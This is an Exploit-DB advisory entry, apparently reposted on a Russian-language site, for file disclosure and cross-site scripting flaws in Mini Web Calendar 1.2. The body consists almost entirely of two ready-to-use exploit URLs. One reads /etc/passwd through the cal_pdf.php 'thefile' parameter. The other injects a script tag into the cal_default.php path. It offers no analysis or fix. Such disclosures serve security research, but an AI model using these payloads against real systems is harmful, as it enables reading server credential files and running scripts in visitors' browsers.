- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 7049
- Проверка EDB
-
- Пройдено
- Автор
- AHMADBADY
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- cve-2008-5062 cve-2008-5061
- Дата публикации
- 2008-11-07
Код:
************************(XSS / FD Vulnerability)**************
script:Mini Web Calendar, ver. 1.2
************************************************************************************************************
download from:http://www.smolinari.com/srm/download/mwcal/mwcal.zip?PHPSESSID=84ivc1h7ohn8f9ra7cgn66fj94
************************************************************************************************************
......................................................................................
local file xpl:
http://www.site.com/mwcal/php/cal_pdf.php?thefile=/etc/passwd
xss xpl:
http://www.site.com/mwcal/php/cal_default.php/>'><ScRiPt>alert(0)</ScRiPt>
***************************************************
***************************************************
Author: ahmadbady from http://www.deltahacking.net
my mail: [email protected]
***************************************************
# milw0rm.com [2008-11-07]- Источник
- www.exploit-db.com
